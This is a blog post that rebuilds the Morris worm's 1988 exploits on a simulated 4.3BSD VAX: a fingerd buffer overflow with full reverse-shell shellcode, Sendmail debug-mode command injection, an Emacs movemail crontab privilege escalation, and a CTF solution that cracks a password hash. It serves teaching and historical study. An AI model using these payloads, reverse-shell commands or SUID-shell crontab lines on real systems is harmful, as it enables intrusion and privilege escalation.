Last updated at Fri, 28 May 2021 17:59:52 GMT
This blog is the 10th post in our annual 12 Days of HaXmas series.
A couple of months ago, we paid tribute to the 30th anniversary of the Morris worm by dropping three new modules for it:
- A buffer overflow in
fingerd(8)
- A VAX reverse shell
- A command injection in Sendmail’s debug code
All of these vulnerabilities were exploited by the worm in 1988.
In this post, we will dive into the exploit development process for those modules, beginning our journey by building a 4.3BSD system for testing, and completing it by retracing the worm author’s steps to RCE. By the end of this post, it will hopefully become clear how even 30-year-old vulns can still teach us modern-day fundamentals.
Background
Let’s start with a little history on how this strange project came to be. I recall reading about the Morris worm on VX Heaven. It was many years ago, and some of you may still remember that site. Fast-forward to 2018, and I had forgotten about the worm until I had the opportunity to finish Cliff Stoll’s hacker-tracker epic, “The Cuckoo’s Egg.” In the epilogue, Stoll recounts fighting the first internet worm.
Notably, the worm exercised what was arguably the first malicious buffer overflow in the wild. It also exploited a command injection in Sendmail’s debug mode, which was normally used by administrators to debug mail problems. And even beyond the technical, the worm resulted in what was the first conviction under the Computer Fraud and Abuse Act (CFAA)—a precedent with lasting effects today.
Feeling inspired, I began a side project to see whether I could replicate the worm’s exploits using period tools. But first, I needed a system.
Ye olde 4.3BSD: VAX in the modern age
We’ll be doing our work on a “real” 4.3BSD system, but it will be simulated in the SIMH simulator, since it’s hard to find a real VAX-11/780. If you were at DEF CON 17, you had a chance to play with a live one!
I took the liberty of automating the entire build process in Docker, so please make sure you have that first. The manual build process can be found at the Computer History Wiki if you’re curious, but I must warn you that it is tedious.
Don't be surprised when you discover that the Docker environment merely automates expect(1)
to automate SIMH to automate ed(1)
here documents. After all, ed
is the standard editor.
Cloning the repository
First, git clone
the repo and cd
into it.
wvu@kharak:~$ git clone https://github.com/wvu/ye-olde-bsd
Cloning into 'ye-olde-bsd'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 11 (delta 1), reused 11 (delta 1), pack-reused 0
Unpacking objects: 100% (11/11), done.
wvu@kharak:~$ cd ye-olde-bsd
wvu@kharak:~/ye-olde-bsd:master$ ls -la
total 66776
drwxr-xr-x 12 wvu 2075806812 384 Dec 18 12:26 .
drwxr-xr-x+ 64 wvu 2075806812 2048 Dec 18 12:26 ..
-rw-r--r-- 1 wvu 2075806812 71 Dec 18 12:26 .dockerignore
drwxr-xr-x 12 wvu 2075806812 384 Dec 18 12:26 .git
-rw-r--r-- 1 wvu 2075806812 33617326 Dec 18 12:26 43.tap.gz
-rw-r--r-- 1 wvu 2075806812 1226 Dec 18 12:26 Dockerfile
-rw-r--r-- 1 wvu 2075806812 200 Dec 18 12:26 README.md
-rw-r--r-- 1 wvu 2075806812 295 Dec 18 12:26 boot.ini
-rw-r--r-- 1 wvu 2075806812 4331 Dec 18 12:26 boot42.gz
-rw-r--r-- 1 wvu 2075806812 211 Dec 18 12:26 install.ini
-rw-r--r-- 1 wvu 2075806812 534149 Dec 18 12:26 miniroot.gz
-rwxr-xr-x 1 wvu 2075806812 3499 Dec 18 12:26 setup.exp
wvu@kharak:~/ye-olde-bsd:master$ cat README.md
# Docker environment for 4.3BSD on VAX
```
docker build -t ye-olde-bsd .
docker run -itp 127.0.0.1:25:25 -p 127.0.0.1:79:79 ye-olde-bsd
```
https://github.com/rapid7/metasploit-framework/pull/10700
wvu@kharak:~/ye-olde-bsd:master$
Building 4.3BSD
Next, we need to docker build
the image. We'll tag it as ye-olde-bsd
for easier access later. You might want to pick a more useful name than I did.
wvu@kharak:~/ye-olde-bsd:master$ docker build -t ye-olde-bsd .
Sending build context to Docker daemon 34.17MB
[snip]
Successfully tagged ye-olde-bsd:latest
wvu@kharak:~/ye-olde-bsd:master$
Running 4.3BSD
Now, we can run the simulator with our freshly built 4.3BSD system. We'll forward the ports for fingerd
and Sendmail so we can exploit them through SIMH's virtual NAT. Additionally, I'm capping the CPU at 10% with --cpus .1
, since the simulator will want to use 100% otherwise. It's a terrible drain on battery!
wvu@kharak:~/ye-olde-bsd:master$ docker run -itp 127.0.0.1:25:25 -p 127.0.0.1:79:79 --cpus .1 ye-olde-bsd
[snip]
4.3 BSD UNIX (simh) (console)
login: root
Dec 18 10:36:49 simh login: ROOT LOGIN console
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
Would you like to play a game?
Don't login as root, use su
simh#
Go ahead and log in as root and start familiarizing yourself with the system. If you played the 2 of Diamonds challenge in our recent CTF, you're probably already familiar!
Smashing the stack for fun and nostalgia
If we look at the source for fingerd
in /usr/src/etc/fingerd.c
, we see a classical stack-based buffer overflow: A 512-byte buffer can be overflowed by gets(3)
, which reads from standard input and terminates on newline or EOF. The process is run by inetd(8)
, so no networking code is required in the daemon. This makes it easy for us to test in isolation.
simh# cat /usr/src/etc/fingerd.c
[snip]
char line[512];
[snip]
gets(line);
[snip]
simh#
So, what gets clobbered after the buffer? In x86, it's typically the saved frame pointer and saved return address, the latter of which we'd need to overwrite to execute code. However, in VAX, there are few extra longwords on the stack before we can reach "EIP" or PC, in our case, and some of those longwords are sensitive to unexpected values.
The section of the stack frame we're interested in looks like this:
+--------------------------+
| Condition handler |
+--------------------------+
| Register save mask, etc. |
+--------------------------+
| Argument pointer (AP) |
+--------------------------+
| Frame pointer (FP) |
+--------------------------+
| Program counter (PC) |
+--------------------------+
In my testing, I found it safe to zero out the four longwords leading up to the saved PC. Leaving set bits in those longwords could thwart your code execution due to how the ret
instruction evaluates the stack frame.
So, we have 512 bytes of data, 16 bytes of stack frame to zero out, and 4 bytes for PC. That means 532 bytes total. The terminating newline can be omitted because we'll hit EOF.
Preparing fingerd
for testing
Since fingerd
runs via inetd
, we can test it directly by sending data to its standard input. However, there is a getpeername(2)
call we need to remove when running inetd
-less.
Begin by making a copy of fingerd.c
, since you don't want to lose the original. We'll be working in /tmp
.
simh# cd /tmp
simh# cp /usr/src/etc/fingerd.c .
simh#
Next, comment out the getpeername(2)
conditional. If you're using vi(1)
, you'll have to save with :wq!
, since the file is read-only. Compile fingerd.c
with -g
(debugging symbols) once you're done.
simh# vi fingerd.c
[Using open mode]
"fingerd.c" [Read only] 95 lines, 1695 characters
/*
/getpeername
/*if (getpeername(0, &sin, &i) < 0)
fatal(argv[0], "getpeername");*/
:wq!
"fingerd.c" 95 lines, 1699 characters
simh# cc fingerd.c -o fingerd -g
simh#
Transferring files the old-school way
Let's generate a test buffer and transfer it with uuencode(1)
. I'm using Perl out of habit, but feel free to use your language of choice.
0x03
is the bpt
or breakpoint instruction in VAX. If we run into it, the debugger will break automatically. It's really helpful while testing! AAAA
is our new PC, which you should be intimately familiar with.
wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "AAAA"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
telnet(1)
is one of the few commands on 4.3BSD that will perform a TCP connection to an arbitrary host and port. Let's leverage it with uudecode(1)
to download our exploit buffer. We named it sploit.bin
with uuencode
earlier.
simh# telnet 192.168.1.3 4444 | uudecode
Connection closed by foreign host.
simh#
Debugging and disassembling with dbx(1)
Most of you are familiar with GDB. Did you know that GDB was based on dbx
from BSD? Both are symbolic debuggers with similar command syntaxes, so the transition should be easy for most.
Load fingerd
with dbx
and set a breakpoint on line 85, which should be a return
statement. Run the program with the exploit buffer.
simh# dbx fingerd
dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU).
Type 'help' for help.
reading symbolic information ...
(dbx) stop at 85
[1] stop at 85
(dbx) r < sploit.bin
Login name: In real life: ???
[1] stopped in main at line 85
85 return(0);
(dbx)
So, I haven't found a way to statically disassemble a binary on 4.3BSD. If you know of a way, please let me know! However, I've been able to achieve the same result by dumping instructions from PC. You can adjust your disassembly by adjusting your breakpoint or changing your offset from PC (riskier because of variable-length instructions).
You can see this in action by dumping 10 instructions from PC.
(dbx) ($pc)/10i
00000361 clrl r0
00000363 ret
00000364 ret
00000365 movab -568(sp),sp
0000036a brw 59
0000036d halt
0000036e halt
0000036f halt
00000370 brb 39c
00000372 pushl 4(ap)
(dbx)
Step to the next instruction, which should be our ret
. We'll want to stop here to perform our memory analysis.
(dbx) nexti
stopped in main at 0x363
00000363 ret
(dbx)
Dump 200 longwords from SP to inspect our buffer.
(dbx) ($sp)/200X
7fffe908: 00002084 7fffe940 00000000 00000000
7fffe918: 00002338 00000000 00000079 00000003
7fffe928: 00000004 00000079 00000000 00000000
7fffe938: 00000000 00000000 03030303 03030303
7fffe948: 03030303 03030303 03030303 03030303
7fffe958: 03030303 03030303 03030303 03030303
7fffe968: 03030303 03030303 03030303 03030303
7fffe978: 03030303 03030303 03030303 03030303
7fffe988: 03030303 03030303 03030303 03030303
7fffe998: 03030303 03030303 03030303 03030303
7fffe9a8: 03030303 03030303 03030303 03030303
7fffe9b8: 03030303 03030303 03030303 03030303
7fffe9c8: 03030303 03030303 03030303 03030303
7fffe9d8: 03030303 03030303 03030303 03030303
7fffe9e8: 03030303 03030303 03030303 03030303
7fffe9f8: 03030303 03030303 03030303 03030303
7fffea08: 03030303 03030303 03030303 03030303
7fffea18: 03030303 03030303 03030303 03030303
7fffea28: 03030303 03030303 03030303 03030303
7fffea38: 03030303 03030303 03030303 03030303
7fffea48: 03030303 03030303 03030303 03030303
7fffea58: 03030303 03030303 03030303 03030303
7fffea68: 03030303 03030303 03030303 03030303
7fffea78: 03030303 03030303 03030303 03030303
7fffea88: 03030303 03030303 03030303 03030303
7fffea98: 03030303 03030303 03030303 03030303
7fffeaa8: 03030303 03030303 03030303 03030303
7fffeab8: 03030303 03030303 03030303 03030303
7fffeac8: 03030303 03030303 03030303 03030303
7fffead8: 03030303 03030303 03030303 03030303
7fffeae8: 03030303 03030303 03030303 03030303
7fffeaf8: 03030303 03030303 03030303 03030303
7fffeb08: 03030303 03030303 03030303 03030303
7fffeb18: 03030303 03030303 03030303 03030303
7fffeb28: 03030303 03030303 03030303 03030303
7fffeb38: 03030303 03030303 00000000 00000000
7fffeb48: 00000000 00000000 41414141 0002a900
7fffeb58: 00000003 00000001 7fffeb6c 7fffeb74
7fffeb68: 00000001 7fffeb8c 00000000 7fffeb94
7fffeb78: 7fffeb9b 7fffebaa 7fffebb7 7fffebc1
7fffeb88: 00000000 676e6966 00647265 454d4f48
7fffeb98: 53002f3d 4c4c4548 69622f3d 73632f6e
7fffeba8: 45540068 753d4d52 6f6e6b6e 55006e77
7fffebb8: 3d524553 746f6f72 54415000 652f3d48
7fffebc8: 2f3a6374 2f727375 3a626375 6e69622f
7fffebd8: 73752f3a 69622f72 752f3a6e 6c2f7273
7fffebe8: 6c61636f 73752f3a 6f682f72 3a737473
7fffebf8: 0000002e 00000000 7fffff6c ffffffff
7fffec08: ffffffff 7fffe908 0026b400 80058af8
7fffec18: 8007a140 7fffe830 00000013 00000003
(dbx)
Dump five longwords from FP to inspect our stack frame. Note the zeroed-out longwords. Consult the stack diagram from before, if you're confused.
(dbx) ($fp)/5X
7fffeb40: 00000000 00000000 00000000 00000000
7fffeb50: 41414141
(dbx)
If your offset was correct, you can step through the ret
and see if the saved PC was restored.
(dbx) nexti
stopped in write at 0x41414141
41414141 escf
(dbx)
That's a bingo! Pick a return address from the middle of the buffer. I'll pick 0x7fffea38
. Bear in mind that this might not work against the inetd
-run fingerd
due to a potentially different stack layout.
Download the new exploit buffer with estimated return address.
wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Fire up dbx
and start stepping. When you hit the bpt
instruction, you can continue with c
to verify.
simh# dbx fingerd
dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU).
Type 'help' for help.
reading symbolic information ...
(dbx) stop at 85
[1] stop at 85
(dbx) r < sploit.bin
Login name: In real life: ???
[1] stopped in main at line 85
85 return(0);
(dbx) nexti
stopped in main at 0x363
00000363 ret
(dbx) nexti
stopped in write at 0x7fffea38
7fffea38 bpt
(dbx) c
Trace/BPT trap in write at 0x7fffea38
7fffea38 bpt
(dbx)
If you hit a bpt
instruction, you have RCE. Congrats! Now we just need a payload.
VAX shellcoding for great justice
If you've written x86 shellcode before, VAX shellcode will be a breeze. Think AT&T syntax, though. Sorry.
I'll begin by generating and disassembling the encoder-less bsd/vax/shell_reverse_tcp
payload from Metasploit, since writing the shellcode out by hand is rather tedious.
wvu@kharak:~/metasploit-framework:master$ ./msfvenom -p bsd/vax/shell_reverse_tcp lhost=192.168.1.3 > bsd_vax_shell_reverse_tcp.bin
[-] No platform was selected, choosing Msf::Module::Platform::BSD from the payload
[-] No arch selected, selecting arch: vax from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 100 bytes
wvu@kharak:~/metasploit-framework:master$ gobjdump -Db binary -m vax bsd_vax_shell_reverse_tcp.bin
bsd_vax_shell_reverse_tcp.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: dd 00 pushl $0x0
2: dd 01 pushl $0x1
4: dd 02 pushl $0x2
6: dd 03 pushl $0x3
8: d0 5e 5c movl sp,ap
b: bc 8f 61 00 chmk $0x0061
f: d0 50 5a movl r0,r10
12: dd 00 pushl $0x0
14: dd 00 pushl $0x0
16: dd 8f c0 a8 pushl $0x0301a8c0
1a: 01 03
1c: dd 8f 02 00 pushl $0x5c110002
20: 11 5c
22: d0 5e 5b movl sp,r11
25: dd 10 pushl $0x10
27: dd 5b pushl r11
29: dd 5a pushl r10
2b: dd 03 pushl $0x3
2d: d0 5e 5c movl sp,ap
30: bc 8f 62 00 chmk $0x0062
34: d0 00 5b movl $0x0,r11
37: dd 5b pushl r11
39: dd 5a pushl r10
3b: dd 02 pushl $0x2
3d: d0 5e 5c movl sp,ap
40: bc 8f 5a 00 chmk $0x005a
44: f3 02 5b ef aobleq $0x2,r11,0x37
48: dd 8f 2f 73 pushl $0x0068732f
4c: 68 00
4e: dd 8f 2f 62 pushl $0x6e69622f
52: 69 6e
54: d0 5e 5b movl sp,r11
57: dd 00 pushl $0x0
59: dd 00 pushl $0x0
5b: dd 5b pushl r11
5d: dd 03 pushl $0x3
5f: d0 5e 5c movl sp,ap
62: bc 3b chmk $0x3b
wvu@kharak:~/metasploit-framework:master$
pushl
and movl
should be familiar. chmk
is much like int 0x80
. aobleq
is probably the instruction that needs explanation. You can think of it like the loop
instruction in x86. There's a limit, index (register), and displacement (jump). We're using it to dup(2)
our file descriptors without duplicating code. It's basically a for
loop.
The calling convention here is to push the arguments on the stack, then push the number of args, set the argument pointer to the stack pointer, and then perform the system call. Sound familiar? The only thing that's really different is the lack of AP in x86.
The shellcode acts very much like any other reverse shell: Configure a connection with socket(2)
, connect back to the attacker with connect(2)
, dup2(2)
the socket descriptor across standard input, output, and error, and finally execute /bin/sh
with execve(2)
.
Let's do ourselves a favor and convert this premade shellcode into hex-escaped bytes for our exploit. (The echo
is purely for readability.)
wvu@kharak:~/metasploit-framework:master$ echo "$(hexdump -ve '"\\\x" 1/1 "%02x"' bsd_vax_shell_reverse_tcp.bin)"
\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b
wvu@kharak:~/metasploit-framework:master$
Putting it all together
You might not have noticed it before, but there is some buffer corruption approximately 109 bytes between our shellcode and our fake stack frame. We can fill it with any non-newline character for now. You'll have to trust me (but I hope I'm wrong). It may just need a stack pivot.
Change the 0x03
bpt
instruction to a 0x01
nop
so we can skip ahead to our shellcode. Download the new exploit buffer.
wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Set up ncat(1)
to catch the shell.
wvu@kharak:~$ ncat -lkv 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
And directly execute fingerd
with the exploit buffer this time.
simh# ./fingerd < sploit.bin
Login name: ] In real life: ???
Check your ncat
tab or window.
Ncat: Connection from 192.168.1.3.
Ncat: Connection from 192.168.1.3:49285.
/usr/ucb/whoami
root
We've got a shell! It might be helpful to do something like PATH=/bin:/usr/bin:/usr/ucb:/etc; export PATH
to make your new shell more usable. You can also use script /dev/null
to spawn a PTY.
Let's take a chance and attempt a remote exploit, making an assumption that the stack layout is close enough.
wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | ncat -v 127.0.0.1 79
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:79.
Ncat: 532 bytes sent, 0 bytes received in 0.25 seconds.
wvu@kharak:~$
Ncat: Connection from 192.168.1.3.
Ncat: Connection from 192.168.1.3:49308.
/usr/ucb/whoami
nobody
Boom, (unprivileged) shell. We'll root the box later.
Mailing shell commands to Sendmail
Historic Sendmail possessed a debug mode for verifying whether mail reached its intended destination. Part of the implementation was shell escape functionality that could be used to run arbitrary commands. Since the commands would be part of the mail message, the headers had to be stripped in order for code execution to proceed cleanly.
We can test this with ncat
and a little knowledge of the SMTP protocol. sed(1)
is used to clean the mail message.
wvu@kharak:~$ ncat -v 127.0.0.1 25
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:25.
220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST
DEBUG
200 Debug set
MAIL FROM:<test>
queuename: assigned id AA00153, env=17934
setsender(<test>)
--parseaddr(<test>)
parseaddr-->17948=<test>: mailer 0 (local), host `', user `test'
next=0, flags=0, alias 0
home="", fullname=""
250 <test>... Sender ok
RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
--parseaddr(<"| sed '1,/^$/d' | sh; exit 0">)
parseaddr-->2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"'
next=0, flags=0, alias 0
home="", fullname=""
recipient: 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"'
next=0, flags=10, alias 0
home="", fullname=""
250 <"| sed '1,/^$/d' | sh; exit 0">... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
PATH=/bin:/usr/bin:/usr/ucb:/etc
export PATH
sleep 60
.
EOH
----- collected header -----
Return-Path: <g>
Received: ?sfrom s .by j (v/Z)
id i; b
Resent-Date: a
Date: a
Resent-From: q
From: q
Full-Name: x
Subject:
Resent-Message-Id: <t.i@j>
Message-Id: <t.i@j>
----------------------------
SENDALL: mode b, sendqueue:
2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
next=0, flags=10, alias 0
home="", fullname=""
recipient: 17948=<test>: mailer 0 (local), host `', user `test'
next=0, flags=1, alias 0
home="/", fullname=""
queueing AA00153
queueing 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
next=17948, flags=10, alias 0
home="", fullname=""
250 Ok
<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
next=17948, flags=10, alias 0
home="", fullname=""
disconnect: In 7 Out 6
<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
next=17948, flags=10, alias 0
home="", fullname=""
====finis: stat 0 e_flags 1
dropenvelope 17934 id=<null> flags=1
QUIT
221 simh closing connection
====finis: stat 0 e_flags 1
dropenvelope 17934 id="AA00152" flags=1
^C
wvu@kharak:~$
We can inspect the resulting spool file in the mail queue and also verify that the shell command is executing.
simh# cd /usr/spool/mqueue
simh# ls -la
total 6
drwxrwxrwt 2 root 512 Dec 18 11:14 ./
drwxr-xr-x 10 root 512 Dec 18 10:36 ../
-rw------- 1 root 55 Dec 18 11:14 dfAA00153
-rw------- 1 root 0 Dec 18 11:14 lfAA00153
-rw------- 1 root 326 Dec 18 11:14 qfAA00153
-rw-r--r-- 1 daemon 157 Dec 18 11:15 syslog
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.0
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.1
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.2
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.3
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.4
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.5
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.6
-rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.7
-rw-r--r-- 1 root 329 Dec 18 11:15 xfAA00153
simh# cat dfAA00153
PATH=/bin:/usr/bin:/usr/ucb:/etc
export PATH
sleep 60
simh# ps auxww | grep '^daemon'
daemon 159 0.0 0.2 9 7 ? I 0:00 sleep 60
daemon 158 0.0 0.3 27 12 ? I 0:00 sh
daemon 156 0.0 0.3 27 12 ? I 0:00 sh -c sed '1,/^$/d' | sh; exit 0
simh#
Our sleep 60
command is sent to /bin/sh
, and there are no mail headers in the spool file because sed
cleaned them up. Pretty cool!
Emacs movemail
exploit from ‘The Cuckoo's Egg’
The hacker in the book used this to root the boxes he shelled. While the events of the book took place on 4.2BSD, we can do the same on 4.3, since I've imported the /usr/src/contrib
tree with Emacs source.
Let's perform the attack but with our own vector that doesn't clobber atrun(8)
.
Preparing a SUID-root movemail
simh# cd /usr/src/contrib/emacs/etc
simh# make movemail
cc -o movemail -g movemail.c
simh# cp movemail /etc
simh# chmod 4755 /etc/movemail
simh# ls -l /etc/movemail
-rwsr-xr-x 1 root 15360 Dec 18 11:20 /etc/movemail*
simh#
Exploiting movemail
via crontab.local
whoami
nobody
(umask 0 && /etc/movemail /dev/null /usr/lib/crontab.local)
ls -l /usr/lib/crontab.local
-rw-rw-rw- 1 root 0 Dec 18 11:22 /usr/lib/crontab.local
(echo "* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh"; echo "* * * * * root rm -f /usr/lib/crontab.local") > /usr/lib/crontab.local
cat /usr/lib/crontab.local
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
ls -l /tmp/sh
-rwsr-xr-x 1 root 23552 Dec 18 11:22 /tmp/sh
/tmp/sh
whoami
root
ls -l /usr/lib/crontab.local
/usr/lib/crontab.local not found
Feel free to read the module and its documentation for more detailed information. With an arbitrary read and write, there are plenty of other vectors to escalate to root. The auxiliary crontab(5)
seemed the most straightforward to me.
Bonus: 2 of Diamonds solution (SPOILERS)
This is more of an intended solution than a write-up. Easter eggs are referenced by quotes from “The Cuckoo's Egg.”
msf5 > use exploit/unix/smtp/morris_sendmail_debug
msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(unix/smtp/morris_sendmail_debug) > run
[*] Started reverse TCP double handler on 192.168.1.3:4444
[*] 127.0.0.1:25 - Connecting to sendmail
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
[*] 127.0.0.1:25 - Sending: DEBUG
[*] 127.0.0.1:25 - Sending: MAIL FROM:<OL6ueX3yw5TVFnOp8svQqcYCTE>
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
[*] 127.0.0.1:25 - Sending: DATA
[*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] 127.0.0.1:25 - Sending: export PATH
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4387|telnet 192.168.1.3 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.3 4444 >/dev/null 2>&1 &)'
[*] 127.0.0.1:25 - Sending: .
[*] 127.0.0.1:25 - Sending: QUIT
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo YFSyo34voEAHn2Nx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: ": Trying...: not found\r\nsh: Connected: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.3:49389) at 2018-12-18 13:30:42 -0600
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you
whoami
daemon
grep hunter /etc/passwd
hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh
cat /usr/spool/mail/hunter
From cliff Wed Sep 10 12:34:42 1986
Received: by 2-of-diamonds (5.51/5.17)
id AA00579; Wed, 10 Sep 86 12:34:42 PDT
Date: Wed, 10 Sep 86 12:34:42 PDT
From: cliff (Cliff Stoll)
Message-Id: <8610210434.AA00579@2-of-diamonds>
To: mcnatt@26.0.0.113
Subject: What do you know about the nesting habits of cuckoos?
Status: RO
He went looking for your Gnu-Emacs move-mail file.
"What do you know about the nesting habits of cuckoos?" I explained the workings of the Gnu-Emacs security hole.
wvu@kharak:~$ hashcat -ia 3 -m 1500 --force IE4EHKRqf6Wvo ?l?l?l?l?l?l?l?l
[snip]
IE4EHKRqf6Wvo:msfhack
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: IE4EHKRqf6Wvo
Time.Started.....: Tue Dec 18 13:33:17 2018 (57 secs)
Time.Estimated...: Tue Dec 18 13:34:14 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?l?l [7]
Guess.Queue......: 7/8 (87.50%)
Speed.Dev.#2.....: 14603.0 kH/s (823.72ms) @ Accel:1 Loops:1024 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 836665344/8031810176 (10.42%)
Rejected.........: 0/836665344 (0.00%)
Restore.Point....: 36864/456976 (8.07%)
Candidates.#2....: rywwfou -> vkvcfnd
Started: Tue Dec 18 13:31:50 2018
Stopped: Tue Dec 18 13:34:15 2018
wvu@kharak:~$
The hacker apparently didn't like his old passwords—hedges, jaeger, hunter, and benson. He replaced them, one by one, with a single new password, lblhack.
su - hunter
Password:msfhack
ls -la
total 18
drwx------ 2 hunter 512 Nov 6 18:19 .
drwxr-xr-x 7 root 512 Nov 6 18:19 ..
-rw------- 1 hunter 13 Nov 6 18:19 .history
-rws--x--x 1 root 15360 Nov 6 18:19 movemail
cat .history
who
ps -eafg
The intruder, however, entered ps -eafg. Strange. I'd never seen anyone use the g flag.
msf5 exploit(unix/smtp/morris_sendmail_debug) > use exploit/unix/local/emacs_movemail
msf5 exploit(unix/local/emacs_movemail) > set session -1
session => -1
msf5 exploit(unix/local/emacs_movemail) > set movemail /usr/guest/hunter/movemail
movemail => /usr/guest/hunter/movemail
msf5 exploit(unix/local/emacs_movemail) > set verbose true
verbose => true
msf5 exploit(unix/local/emacs_movemail) > run
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[*] Current shell is /bin/sh
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root /usr/guest/hunter/movemail found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
